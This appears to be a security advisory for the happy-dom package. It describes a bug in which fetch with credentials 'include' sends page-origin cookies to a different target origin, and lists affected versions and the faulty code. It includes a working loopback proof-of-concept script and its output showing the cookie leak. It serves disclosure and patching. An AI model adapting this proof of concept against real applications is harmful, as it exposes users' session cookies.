Packages / happy-dom / Security
Happy DOM's fetch credentials include uses page-origin cookies instead of target-origin cookies
Affected releases · happy-dom
- 20.x20.0.0 – 20.8.8Fixed in 20.8.9
- 19.x and older0.0.1 – 19.0.2No fix, no longer updated
On 20.x, the newest line:
npm install happy-dom@20.8.9Not affected
21.0.0 – 21.0.4
5 releases, latest
Affected
20.0.0 – 20.8.8
50 releases
Fixed
20.8.9 – 20.14.6
38 releases
Affected
19.0.0 – 19.0.2
3 releases
Affected
18.0.0 – 18.0.1
2 releases
Affected
17.0.0 – 17.6.3
51 releases
Affected
16.0.0 – 16.8.1
29 releases
Affected
15.0.0 – 15.11.7
42 releases
Affected
14.0.0 – 14.12.3
44 releases
Affected
13.0.0 – 13.10.1
53 releases
Affected
12.0.0 – 12.10.3
28 releases
Affected
11.0.0 – 11.2.0
11 releases
Affected
10.0.0 – 10.11.2
35 releases
Affected
9.0.0 – 9.20.3
60 releases
Affected
8.0.0 – 8.9.0
33 releases
Affected
7.0.0 – 7.8.1
40 releases
Affected
6.0.0 – 6.0.4
5 releases
Affected
5.0.0 – 5.4.0
9 releases
Affected
4.0.0 – 4.1.0
4 releases
Affected
3.0.0 – 3.2.2
6 releases
Affected
2.0.0 – 2.55.0
106 releases
Affected
1.0.0 – 1.18.2
58 releases
Affected
0.0.1 – 0.14.1
68 releases
Is your project affected?
Paste your package.json, or type the range you declare for happy-dom. It is read in your browser and sent nowhere.
What happens
Summary
happy-dom may attach cookies from the current page origin (window.location) instead of the request target URL when fetch(..., { credentials: "include" }) is used. This can leak cookies from origin A to destination B.
Details
In packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts (getRequestHeaders()), cookie selection is performed with originURL:
const originURL = new URL(options.window.location.href); const isCORS = FetchCORSUtility.isCORS(originURL, options.request[PropertySymbol.url]); // ... const cookies = options.browserFrame.page.context.cookieContainer.getCookies( originURL, false );
Here, originURL represents the page URL, not the request destination URL. For outgoing requests, cookie lookup should use the request URL (for example: new URL(options.request[PropertySymbol.url])).
PoC Script Content
const http = require('http');
const dns = require('dns').promises;
const { Browser } = require('happy-dom');
async function listen(server, host) {
return new Promise((resolve) => server.listen(0, host, () => resolve(server.address().port)));
}
async function run() {
let observedCookieHeader = null;
const pageHost = process.env.PAGE_HOST || 'a.127.0.0.1.nip.io';
const apiHost = process.env.API_HOST || 'b.127.0.0.1.nip.io';
console.log('=== PoC: Wrong Cookie Source URL in credentials:include ===');
console.log('Setup:');
console.log(` Page Origin Host : ${pageHost}`);
console.log(` Request Target Host: ${apiHost}`);
console.log(' (both resolve to 127.0.0.1 via public wildcard DNS)');
console.log('');
await dns.lookup(pageHost);
await dns.lookup(apiHost);
const pageServer = http.createServer((req, res) => {
res.writeHead(200, { 'content-type': 'text/plain' });
res.end('page host');
});
const apiServer = http.createServer((req, res) => {
observedCookieHeader = req.headers.cookie || '';
const origin = req.headers.origin || '';
res.writeHead(200, {
'content-type': 'application/json',
'access-control-allow-origin': origin,
'access-control-allow-credentials': 'true'
});
res.end(JSON.stringify({ ok: true }));
});
const pagePort = await listen(pageServer, '127.0.0.1');
const apiPort = await listen(apiServer, '127.0.0.1');
const browser = new Browser();
try {
const context = browser.defaultContext;
// Page host: pageHost (local DNS)
const page = context.newPage();
page.mainFrame.url = `http://${pageHost}:${pagePort}/dashboard`;
page.mainFrame.window.document.cookie = 'page_cookie=PAGE_ONLY';
// Target host: apiHost (local DNS)
const apiSeedPage = context.newPage();
apiSeedPage.mainFrame.url = `http://${apiHost}:${apiPort}/seed`;
apiSeedPage.mainFrame.window.document.cookie = 'api_cookie=API_ONLY';
// Trigger cross-host request with credentials.
const res = await page.mainFrame.window.fetch(`http://${apiHost}:${apiPort}/data`, {
credentials: 'include'
});
await res.text();
const leakedPageCookie = observedCookieHeader.includes('page_cookie=PAGE_ONLY');
const expectedApiCookie = observedCookieHeader.includes('api_cookie=API_ONLY');
console.log('Expected:');
console.log(' Request to target host should include "api_cookie=API_ONLY".');
console.log(' Request should NOT include "page_cookie=PAGE_ONLY".');
console.log('');
console.log('Actual:');
console.log(` request cookie header: "${observedCookieHeader || '(empty)'}"`);
console.log(` includes page_cookie: ${leakedPageCookie}`);
console.log(` includes api_cookie : ${expectedApiCookie}`);
console.log('');
if (leakedPageCookie && !expectedApiCookie) {
console.log('Result: VULNERABLE behavior reproduced.');
process.exitCode = 0;
} else {
console.log('Result: Vulnerable behavior NOT reproduced in this run/version.');
process.exitCode = 1;
}
} finally {
await browser.close();
pageServer.close();
apiServer.close();
}
}
run().catch((error) => {
console.error(error);
process.exit(1);
});
Environment:
Node.js >= 22
happy-dom20.6.1DNS names resolving to local loopback via
*.127.0.0.1.nip.io
Reproduction steps:
Set page host cookie:
page_cookie=PAGE_ONLYona.127.0.0.1.nip.ioSet target host cookie:
api_cookie=API_ONLYonb.127.0.0.1.nip.ioFrom page host, call fetch to target host with
credentials: "include"Observe
Cookieheader received by the target host
Expected:
Include
api_cookie=API_ONLYDo not include
page_cookie=PAGE_ONLY
Actual (observed):
Includes
page_cookie=PAGE_ONLYDoes not include
api_cookie=API_ONLY
Observed output:
=== PoC: Wrong Cookie Source URL in credentials:include === Setup: Page Origin Host : a.127.0.0.1.nip.io Request Target Host: b.127.0.0.1.nip.io (both resolve to 127.0.0.1 via public wildcard DNS) Expected: Request to target host should include "api_cookie=API_ONLY". Request should NOT include "page_cookie=PAGE_ONLY". Actual: request cookie header: "page_cookie=PAGE_ONLY" includes page_cookie: true includes api_cookie : false Result: VULNERABLE behavior reproduced.
Impact
Cross-origin sensitive information disclosure (cookie leakage).
Impacted users are applications relying on happy-dom browser-like fetch behavior in authenticated/session-based flows (for example SSR/test/proxy-like scenarios), where cookies from one origin can be sent to another origin.